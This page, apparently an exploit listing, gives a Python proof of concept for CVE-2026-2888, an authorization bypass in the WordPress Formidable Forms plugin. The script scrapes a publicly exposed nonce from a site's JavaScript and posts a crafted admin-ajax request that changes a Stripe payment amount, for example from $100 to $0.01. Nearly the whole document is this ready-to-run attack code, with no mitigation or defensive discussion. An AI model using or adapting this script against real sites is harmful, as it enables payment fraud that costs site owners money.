CVE-2026-2888 WordPress Formidable Forms插件授权绕过漏洞

import json import requests # CVE-2026-2888 PoC - Formidable Forms Payment Manipulation # This PoC demonstrates how an unauthenticated attacker can manipulate payment amounts TARGET_URL = "https://vulnerable-site.com/wp-admin/admin-ajax.php" def get_nonce(site_url): """Extract the publicly exposed nonce from page JavaScript""" response = requests.get(site_url) # Extract frm_stripe_vars.nonce from page source import re match = re.search(r'frm_stripe_vars\s*=\s*\{[^}]*nonce:\s*"([a-zA-Z0-9]+)"', response.text) if match: return match.group(1) return None def exploit_payment_manipulation(site_url, form_id, original_amount, manipulated_amount): """ Exploit the authorization bypass to manipulate PaymentIntent amount """ nonce = get_nonce(site_url) if not nonce: print("[-] Failed to extract nonce") return False print(f"[+] Extracted nonce: {nonce}") # Construct malicious payload with manipulated amount payload = { "action": "frm_strp_amount", "nonce": nonce, "form_id": form_id, "payment_amount": manipulated_amount, # Attacker's chosen amount "entry_id": 0, # New entry "fields": json.dumps({ "field_123": manipulated_amount # Manipulated field value }) } try: response = requests.post( TARGET_URL, data=payload, headers={ "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } ) result = response.json() if result.get("success"): print(f"[+] Successfully manipulated payment from ${original_amount} to ${manipulated_amount}") print(f"[+] Response: {json.dumps(result, indent=2)}") return True else: print(f"[-] Exploitation failed: {result}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": site = "https://target-formidable-site.com" # Example: Change $100 to $0.01 exploit_payment_manipulation(site, form_id=5, original_amount=100, manipulated_amount=0.01)